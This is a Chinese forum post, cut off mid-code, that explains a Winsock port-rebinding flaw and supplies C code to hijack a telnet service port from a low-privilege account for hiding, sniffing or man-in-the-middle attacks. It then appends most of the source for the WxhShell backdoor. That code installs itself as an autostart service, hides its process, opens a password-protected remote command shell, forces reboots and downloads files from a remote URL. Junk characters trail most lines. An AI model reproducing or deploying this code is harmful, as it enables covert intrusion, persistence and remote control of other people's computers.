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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qnqS^K,':  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nzF2Waa-  
?}= $zN  
  saddr.sin_family = AF_INET; ~ _IQ:]k  
Z~[eG"6zI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wc\`2(  
mHa~c(x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BK wo2=m~  
s'OK])>`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZE1${QFkG  
fPstS ez   
  这意味着什么?意味着可以进行如下的攻击: X":2o|R  
d= ?lPEzSA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oFT1d  
DyA1zwp}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JIqg[Mao  
G[u{! 2RS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FYb]9MX  
 4,?beA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p#3G=FV  
l}k'ZX4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z,"YMUl'  
FlY"OU*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QL2 `X2  
"xn,'`a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I3}]MAE  
}:QoYNq  
  #include ",#Ug"|2  
  #include T0.sL9  
  #include ltMcEv-d0  
  #include    y=jZ8+M   
  DWORD WINAPI ClientThread(LPVOID lpParam);   RD;A  
  int main() P>$+XrTE  
  { Ndyo)11z  
  WORD wVersionRequested; E`{DX9^  
  DWORD ret; P# U|  
  WSADATA wsaData; J6ed  
  BOOL val; t< RPDQ>  
  SOCKADDR_IN saddr; 4W<[& )7  
  SOCKADDR_IN scaddr; }5}>B *  
  int err; 3#GIZ L}!x  
  SOCKET s;  *I}_g4  
  SOCKET sc; [xQ.qZ[h&  
  int caddsize; }lCQ+s!  
  HANDLE mt; DF'~ #G8  
  DWORD tid;   5 +j):_  
  wVersionRequested = MAKEWORD( 2, 2 ); [fELf(;(  
  err = WSAStartup( wVersionRequested, &wsaData ); V|*3*W  
  if ( err != 0 ) { .[1@wW&L  
  printf("error!WSAStartup failed!\n"); *P&lAyt6  
  return -1; '@IReMl  
  } 2=%]Ax"R  
  saddr.sin_family = AF_INET; Q'?VLv |@  
   ; 7QG]JX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 51* [Ibx  
t2|0no  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q'IMt7}  
  saddr.sin_port = htons(23); JSaF7(a =  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) } :gi<#-:G  
  { /b/  6*&  
  printf("error!socket failed!\n"); Og?GYe^_  
  return -1; kV8qpw}K  
  } !f}D*8\f  
  val = TRUE; ;ZMIYFXRqh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I|;C} lfp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W7{^/s5r  
  { %*Vr}@BA)  
  printf("error!setsockopt failed!\n"); I1s$\NZ~]  
  return -1; lhf5[Rp  
  } 3II*NANeg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I :bT"N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L"0?g(< 5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S@y?E}  
l-x-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vs Z7 n~e  
  { (m=1yj9  
  ret=GetLastError(); j0w@ \gO<  
  printf("error!bind failed!\n"); Vi0D>4{+  
  return -1; 7{9M ^.}  
  } ic l]H  
  listen(s,2); OKk" S_`  
  while(1) `DM)tm3&m  
  { yf-2E_yB  
  caddsize = sizeof(scaddr); rj?c   
  //接受连接请求 mHJGpJ=a-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $1Wb`$  
  if(sc!=INVALID_SOCKET) K}GR U)  
  { Prc1U)nfo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .YP&E1lNi  
  if(mt==NULL) 73SH[f[g  
  { !XM*y  
  printf("Thread Creat Failed!\n"); yL -}E  
  break; O`aNNy  
  } V ZtFgN$J  
  } m'k>U4  
  CloseHandle(mt); ;>F1?5P{  
  } Y0m?ZVt  
  closesocket(s); 02,.UqCz  
  WSACleanup(); hF`<I.z}  
  return 0; LB9W.cA   
  }   T21?~jS  
  DWORD WINAPI ClientThread(LPVOID lpParam) >p" U|  
  { 7@m+ y  
  SOCKET ss = (SOCKET)lpParam; }OTJ{eG  
  SOCKET sc; ~k}O"{ y  
  unsigned char buf[4096]; wm9wnAy  
  SOCKADDR_IN saddr; ;:>q;%  
  long num; `O;4 b#!g  
  DWORD val; @P i]kWW})  
  DWORD ret; hTcU %Nc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iM9^.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oTcf[<   
  saddr.sin_family = AF_INET; ]KG.-o30  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8U4In[4  
  saddr.sin_port = htons(23); lvNi/jk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kg,\l9AM  
  { {z;4t&5  
  printf("error!socket failed!\n"); " SP6o  
  return -1; <s$T7Zk  
  } FN (O  
  val = 100; -(ST   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0"ooHP$1  
  { |2rOV&@l9  
  ret = GetLastError(); 'C#[iRG4  
  return -1; 3preBs#i  
  } BMV\@Sg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` K0PLxSv  
  { SZ7; } r8  
  ret = GetLastError(); K@ &;f( Y  
  return -1; f/4DFs{  
  } iun_z$I<+Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) joZd  
  { GdrVH,j  
  printf("error!socket connect failed!\n"); 'fk6]&-I  
  closesocket(sc); ?5,I`9  
  closesocket(ss); Np+pJc1  
  return -1; ]<r.{EJ  
  }  Q0,eE:  
  while(1) h^''ue"  
  { /W LZyT2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \=&Z_6Mu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  acQHqR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IY mkZ?cW  
  num = recv(ss,buf,4096,0); ?FV%e  
  if(num>0) A4b+:MQ*OX  
  send(sc,buf,num,0); RZ ?SiwE  
  else if(num==0) |zd5P  
  break; jpoNTl'  
  num = recv(sc,buf,4096,0); ?I"?J/zm  
  if(num>0) Mm9*$g!R  
  send(ss,buf,num,0); #uCfXJ-  
  else if(num==0) D";clP05K  
  break; gFfKK`)}D'  
  } -%{+\x2  
  closesocket(ss); 9U=6l]Np  
  closesocket(sc); FP*kA_z$  
  return 0 ; 9RkNRB)8  
  } uK1VFW  
#uICH t3  
|B64%w>Y  
========================================================== i*A_Po  
m@0> =s~.  
下边附上一个代码,,WXhSHELL t=s.w(3t  
ziM@@$ .F  
========================================================== 'm-5  
c"t&,OU:  
#include "stdafx.h" 9jNh%raG|  
R|wS*xd,  
#include <stdio.h> JLjs`oq h  
#include <string.h> }_@p`>|)rB  
#include <windows.h> (XFF}~>B.  
#include <winsock2.h> =wD&hDn4  
#include <winsvc.h> yT='V1  
#include <urlmon.h> >Ad`_g6Wew  
z3>4 xn{  
#pragma comment (lib, "Ws2_32.lib") ap"pQ[t;  
#pragma comment (lib, "urlmon.lib") Pj{I} 4P`  
=U8+1b  
#define MAX_USER   100 // 最大客户端连接数 1\)lD(J\C  
#define BUF_SOCK   200 // sock buffer Neii$  
#define KEY_BUFF   255 // 输入 buffer E]r<t#  
,^eOwWV  
#define REBOOT     0   // 重启 U%;E:|  
#define SHUTDOWN   1   // 关机 %mzDmrzq  
NGO?K?  
#define DEF_PORT   5000 // 监听端口 R4$(NNC+/  
'SrDc'?  
#define REG_LEN     16   // 注册表键长度 4nh0bIN1  
#define SVC_LEN     80   // NT服务名长度 soX^$l  
Ae1b`%To  
// 从dll定义API A0v@L6m-O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2d  YU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PpF`0w=1%l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); av:%wJUl,$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ld 1[Usaq  
D-x*RRkpp  
// wxhshell配置信息 Ra:UnA  
struct WSCFG { M &H,`gm  
  int ws_port;         // 监听端口 ocp  
  char ws_passstr[REG_LEN]; // 口令 `G:hC5B  
  int ws_autoins;       // 安装标记, 1=yes 0=no j8rxhToC  
  char ws_regname[REG_LEN]; // 注册表键名 'UZ i>Ta  
  char ws_svcname[REG_LEN]; // 服务名 =@X?$>'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y@T$O<*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6q `Un}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,6"[vb#*3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w"O;: `|n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |tTcJ\bG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %*IH~/Ld;]  
TD4 n%k.  
}; HIfi18  
.1ep8O<  
// default Wxhshell configuration dX[ Xe  
struct WSCFG wscfg={DEF_PORT, ;4Xx5*E  
    "xuhuanlingzhe", ?MFXZ/3(ba  
    1, Q7/Jyx|  
    "Wxhshell", t?=V<Yd1  
    "Wxhshell", IMpL+W.  
            "WxhShell Service", ,Z7Ky*<j  
    "Wrsky Windows CmdShell Service", Fx)><+-  
    "Please Input Your Password: ", X?/32~\  
  1, uigzf^6,  
  "http://www.wrsky.com/wxhshell.exe", #BZ5Mxzj  
  "Wxhshell.exe" niYD[Ra\xP  
    }; $v"CQD  
![MtJo5  
// 消息定义模块 V!e*J,g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `FX?P`\@I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PQz[IZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [=u@6Y  
char *msg_ws_ext="\n\rExit."; !vHCftKel  
char *msg_ws_end="\n\rQuit."; Hd gABIuX  
char *msg_ws_boot="\n\rReboot..."; fWF!%|L  
char *msg_ws_poff="\n\rShutdown..."; ]5MT-qU  
char *msg_ws_down="\n\rSave to "; u9]M3>  
KxfH6:\RB  
char *msg_ws_err="\n\rErr!"; ^W^Y"0y9`  
char *msg_ws_ok="\n\rOK!"; 0G+ qF96  
N%u4uLP5k  
char ExeFile[MAX_PATH]; 7ks!0``  
int nUser = 0; .E{FD%U  
HANDLE handles[MAX_USER]; n^l5M^.  
int OsIsNt; I+jc  
?}u][akM  
SERVICE_STATUS       serviceStatus; '[HU!8F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n:H |=SF{  
pF}E`U=Z  
// 函数声明 %(s2{$3  
int Install(void); ma"M?aM  
int Uninstall(void); OGq=OW  
int DownloadFile(char *sURL, SOCKET wsh); %Rk0sfLvn  
int Boot(int flag); 2o W'B^-  
void HideProc(void); DLe>EU;vS  
int GetOsVer(void); /^WawH6)6  
int Wxhshell(SOCKET wsl); |>>^Mol  
void TalkWithClient(void *cs); F>%,}Y~B:  
int CmdShell(SOCKET sock); 2<V`  
int StartFromService(void); wGHVq fm5  
int StartWxhshell(LPSTR lpCmdLine); Uf?+oc'{  
gAsjkNt?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eq9qE^[Z&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :cP u  
6QPT  
// 数据结构和表定义 B>cx[.#!  
SERVICE_TABLE_ENTRY DispatchTable[] = jDj=a->e^  
{ >: J1Gc  
{wscfg.ws_svcname, NTServiceMain}, \Z~ <jv  
{NULL, NULL} x'%vL",%  
};  8*uaI7;*  
4~WSIR-  
// 自我安装 zXwdU5 8  
int Install(void) " ;\EU4R  
{ f.R;<V.)  
  char svExeFile[MAX_PATH]; R m2M  
  HKEY key; QP@@h4J^  
  strcpy(svExeFile,ExeFile); 5\ }QOL  
(F:|tiV+  
// 如果是win9x系统,修改注册表设为自启动 Ie8K [ >  
if(!OsIsNt) { E!,jTaZz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G2:.8 ok  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vQDR;T"]  
  RegCloseKey(key); *2YWvGc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?9*[\m?-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V9  EC@)  
  RegCloseKey(key); |I.5]r-EK  
  return 0; }UG<_ bE|  
    } e)F_zX  
  } KT<N ;[;  
} q1|@v#kH6  
else { ;\T~Hc}&;  
!__^M3S,k  
// 如果是NT以上系统,安装为系统服务 /[q_f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  BfW@f  
if (schSCManager!=0) -^rdB6O6j  
{ JNu+e#.Y  
  SC_HANDLE schService = CreateService UK[+I]I p  
  ( iciRlx.$c  
  schSCManager, wFBSux$  
  wscfg.ws_svcname, ;;EFiaA  
  wscfg.ws_svcdisp, ya;(D 8x)  
  SERVICE_ALL_ACCESS, iX>)6)uJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =]<X6!0mR  
  SERVICE_AUTO_START, x\G<R; Q  
  SERVICE_ERROR_NORMAL, X: Be'  
  svExeFile, 7~H$p X  
  NULL, ;$4: &T  
  NULL, X8XE_VtP  
  NULL, ?.nD!S@  
  NULL, _Vr}ipx-k  
  NULL uU+?:C  
  ); !B#tJD  
  if (schService!=0) :QMpp}G  
  { 1L3 $h0i  
  CloseServiceHandle(schService); ]v$2JgF]@  
  CloseServiceHandle(schSCManager); YsRq.9Mr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1_G+sDw$  
  strcat(svExeFile,wscfg.ws_svcname); |j$$0N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZYz8ul$E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n."XiXsN  
  RegCloseKey(key); RRGs:h@;  
  return 0; 3E8 Gh>J_  
    } 01+TVWKX  
  } '5 9{VA6h  
  CloseServiceHandle(schSCManager); * a VT  
} 36 ]?4, .  
} z_Pq5  
M7(]NQ\TQ  
return 1; Lcs?2c:%  
} cvV8 ;  
d ?,wEfwp  
// 自我卸载 <!?ZH"F0  
int Uninstall(void) asYUb&Hz88  
{ _^F%$K6  
  HKEY key; =jRC4]M})  
nA+gqY6 6|  
if(!OsIsNt) { 1]7v3m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _P=L| U#C  
  RegDeleteValue(key,wscfg.ws_regname); QU@CPME  
  RegCloseKey(key); -Z:nImqzc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H*&!$s.  
  RegDeleteValue(key,wscfg.ws_regname); }wGy#!CSza  
  RegCloseKey(key); ESkhCDU  
  return 0; [iN\R+:  
  } Ntpw(E<$f  
} &LhR0A  
} ,{#Li  
else { -.UUa  
*47%| bf`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +3-f$/po  
if (schSCManager!=0) PkF'#W%  
{ OUm,;WNLf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z*/}rk4i  
  if (schService!=0) f5#VU7=1F2  
  { %){)/~e&  
  if(DeleteService(schService)!=0) { Gg5>~"pb  
  CloseServiceHandle(schService); .[vYT.LE  
  CloseServiceHandle(schSCManager); :j;_Xw  
  return 0; 28 ;x5m)N  
  } { b7%Zd3-  
  CloseServiceHandle(schService); D (Q=EdlO  
  } )AAPT7!U  
  CloseServiceHandle(schSCManager); Odbm"Y  
} dca?(B!'6  
} ,)t/1oQ}>^  
l'"Ici#7Ls  
return 1; ztV%W6  
} Yg]!`(db  
Kd3EZo.  
// 从指定url下载文件 ^W[3Ri G  
int DownloadFile(char *sURL, SOCKET wsh) Fr,b5 M<L7  
{ Ng\]  
  HRESULT hr; r59BBW)M  
char seps[]= "/"; g|x* sZR~Y  
char *token; bbFzmS1  
char *file; j`k :)  
char myURL[MAX_PATH]; |Q#CQz  
char myFILE[MAX_PATH]; 6b h.5|  
c.;<+dYsm*  
strcpy(myURL,sURL); ob7hNo#  
  token=strtok(myURL,seps); [vcSt5R=  
  while(token!=NULL) uSNlI78D  
  { @)3orH  
    file=token; ~@'DYZb- H  
  token=strtok(NULL,seps); K%NgZ(x(  
  } tQIz  
!]!J"!xg*  
GetCurrentDirectory(MAX_PATH,myFILE); Qy| 6A@  
strcat(myFILE, "\\"); uS{WeL6%  
strcat(myFILE, file); lC=T{rR  
  send(wsh,myFILE,strlen(myFILE),0); 8"J6(KS  
send(wsh,"...",3,0); :74G5U8%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5m rkw  
  if(hr==S_OK) 0|`iop%(n  
return 0; +(##B pC  
else )<^G]ajn  
return 1; 6 G?7>M  
VKHzGfv  
} RVa{%   
EdS7m,d  
// 系统电源模块  H r;\}  
int Boot(int flag) ~{npG  
{ d{RMX<;G  
  HANDLE hToken; 1IZTo!xi  
  TOKEN_PRIVILEGES tkp; Cg%}=  
w:@W/e*9N  
  if(OsIsNt) { rJc=&'{&)N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lgh+\pj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KvuM{UI5  
    tkp.PrivilegeCount = 1; B7nm7[V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4>te>[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NpF)|Ppb{  
if(flag==REBOOT) { uE,j$d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EL1*@  
  return 0; !v]~ut !p  
} _Wo(;'.  
else { j9$kaEf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,IQ%7*f;O_  
  return 0; Z}$1~uyw  
} ^h"F\vIpV  
  } 8DZ OPA  
  else { h>&t``<  
if(flag==REBOOT) { >D*%1LH~V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,HfdiGs}j  
  return 0; <+e&E9;>6  
} q|N4d9/b  
else { ,PZ[CX;H@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S *K0OUq  
  return 0; qiyJ4^1  
} >&uR=Yd  
} >I;J!{  
vK8!V7o~h%  
return 1; 6yXMre)YV  
} Mg=R**s1x%  
f&`yiy_  
// win9x进程隐藏模块 3Vb/Mn!k  
void HideProc(void) bn0Rv  
{ aq%i:};  
iGsD!2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n_46;lD  
  if ( hKernel != NULL ) 6B`,^8Lp  
  { A,! YXl[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bDM;7fFp$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s, ;L6nX"  
    FreeLibrary(hKernel); WEk3 4crk  
  } !yf7y/qY  
]ag^~8bG @  
return; mA0|W#NB  
} -3&mgd  
,(&5y:o  
// 获取操作系统版本 4W36VtQ@E  
int GetOsVer(void) \-R\xL  
{ Z6_E/S  
  OSVERSIONINFO winfo; xY1@Ja  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _gI1@uQw  
  GetVersionEx(&winfo); L$ ZZ]?7j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pJ H@v &a  
  return 1; ~X%W2N2  
  else /7p1y v  
  return 0; wb/@g=` d  
}  eAbp5}B  
2M3C 5Fu  
// 客户端句柄模块 C?lZu\L  
int Wxhshell(SOCKET wsl) uy oEMT#u  
{ v!%VH?cA8  
  SOCKET wsh; uw9w{3]0f  
  struct sockaddr_in client; <l"rnM%  
  DWORD myID; [,|;rt\o>  
`& }C *i"  
  while(nUser<MAX_USER) -{s9PZ3~_  
{ XT~]pOE;D  
  int nSize=sizeof(client); %Y<3v \`_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "BD$-]  
  if(wsh==INVALID_SOCKET) return 1; 4+4C0/$Y  
uE:`Fo=y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WS1$cAD2N  
if(handles[nUser]==0) x$/: %"E  
  closesocket(wsh); hR%2[lBn!]  
else 3[}w#n1  
  nUser++; K{[N.dX(  
  } Q804_F F#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I=}pT50~9  
1\ab3n  
  return 0; )5U2-g#U  
} J#*R]LU|  
>J_%'%%f  
// 关闭 socket Gjo&~*;  
void CloseIt(SOCKET wsh) "IKbb7x  
{ C#D8 E.W  
closesocket(wsh); D|E,9|=v  
nUser--; W`` -/  
ExitThread(0); l6k.`1.In  
} _Q6` Wp6m  
+IPMI#n  
// 客户端请求句柄 - {|  
void TalkWithClient(void *cs) OIdoe0JR:O  
{ H|/U0;s  
_/)HAw?k  
  SOCKET wsh=(SOCKET)cs; ?D S|vCae  
  char pwd[SVC_LEN]; 2kVQ#JyuRI  
  char cmd[KEY_BUFF]; =y WHm  
char chr[1]; f`"@7-N  
int i,j; 1n|K   
 $qyST  
  while (nUser < MAX_USER) { f,QBj{M,  
+a}>cAj*  
if(wscfg.ws_passstr) { BewJ!,A!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k#pNk7;MZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 71!'k>]h  
  //ZeroMemory(pwd,KEY_BUFF); xr).ZswQ  
      i=0; g RBbL1  
  while(i<SVC_LEN) { O t1:z:Pl  
zTS#o#`!\  
  // 设置超时 fT  
  fd_set FdRead; &VfMv'%x  
  struct timeval TimeOut; >XK |jPK  
  FD_ZERO(&FdRead);  Jyo(Etp  
  FD_SET(wsh,&FdRead);  njg\y  
  TimeOut.tv_sec=8; B{\qYL/~  
  TimeOut.tv_usec=0; gWpG-RL0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vf] ;hm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g.d~`R@v  
qhqqCVrsW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YB3?Ftgw  
  pwd=chr[0]; <A@qN95m  
  if(chr[0]==0xd || chr[0]==0xa) { .YxcXe3#  
  pwd=0; !+Us)'L  
  break; e]@R'oM?#`  
  } {;E]#=|  
  i++; U.p"JSH L  
    } wA?q/cw C  
]Wdnr1d~8  
  // 如果是非法用户,关闭 socket <^Sp4J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <n{-& ;>  
} ;LE9w^>^V  
>}'WL($5U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .l}oxWWoS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "E}38  
l"app]uVZ  
while(1) { SQJ }$#=  
z]bcg$m  
  ZeroMemory(cmd,KEY_BUFF); =Xh*w  
GBo'=  
      // 自动支持客户端 telnet标准   $3je+=ER  
  j=0; 0>)F+QC  
  while(j<KEY_BUFF) { gL}x| Q2`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xI(Y}>  
  cmd[j]=chr[0]; Yo;Mexo!  
  if(chr[0]==0xa || chr[0]==0xd) { S^*ME*DDz  
  cmd[j]=0; 3KN>t)A#  
  break; g]Fm%iy  
  } wwVg'V;  
  j++; >[a&,gS  
    } fe$OPl~  
6UnWtLE  
  // 下载文件 O(CmdSk,  
  if(strstr(cmd,"http://")) { ? fmW'vs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L+J)  
  if(DownloadFile(cmd,wsh)) aYd`E4S+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCnKX<Wv  
  else k$v8cE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6;{E-y  
  } AxZaV;%*  
  else { d gRTV<vM  
?2i\E RG?  
    switch(cmd[0]) { j#[%-nOT  
  <`WtP+`  
  // 帮助 #8;#)q_[u  
  case '?': { 85 <%L:EC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /Ym!%11`  
    break; >P[BwL]  
  } tX 3y{W10"  
  // 安装 A&/VO$Y9wp  
  case 'i': { IBSoAL  
    if(Install()) 1./iF>*A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U9]&~jR  
    else nMU[S +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i $W E1-  
    break; I^itlQ  
    } A ^U`c'$  
  // 卸载 jhkNi`E7  
  case 'r': { t o2y#4'.  
    if(Uninstall()) UgAG2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQhi2J'  
    else ruK, Z,3Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fgEMn;  
    break; ;/|3U7{c  
    } >C"QV `+  
  // 显示 wxhshell 所在路径 /{HK0fd  
  case 'p': { X'XH-E  
    char svExeFile[MAX_PATH]; k*Vf2O3${  
    strcpy(svExeFile,"\n\r"); "'\f?A9  
      strcat(svExeFile,ExeFile); XX|wle1Kg  
        send(wsh,svExeFile,strlen(svExeFile),0); F-I\x  
    break; pSh$#]mZ`  
    } ti}G/*4  
  // 重启 11jDAA(|  
  case 'b': { fS?fNtD6<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Od@<L  
    if(Boot(REBOOT)) vB;$AFh{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}MZgm~U)  
    else { ct-;L' a  
    closesocket(wsh); |{JJ2c\W  
    ExitThread(0); %x zgTZ  
    } kFo&!  
    break; IWD21lS  
    } %2t#>}If!  
  // 关机 2i_X{!0}  
  case 'd': { vhj^R5=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F\( 7B#  
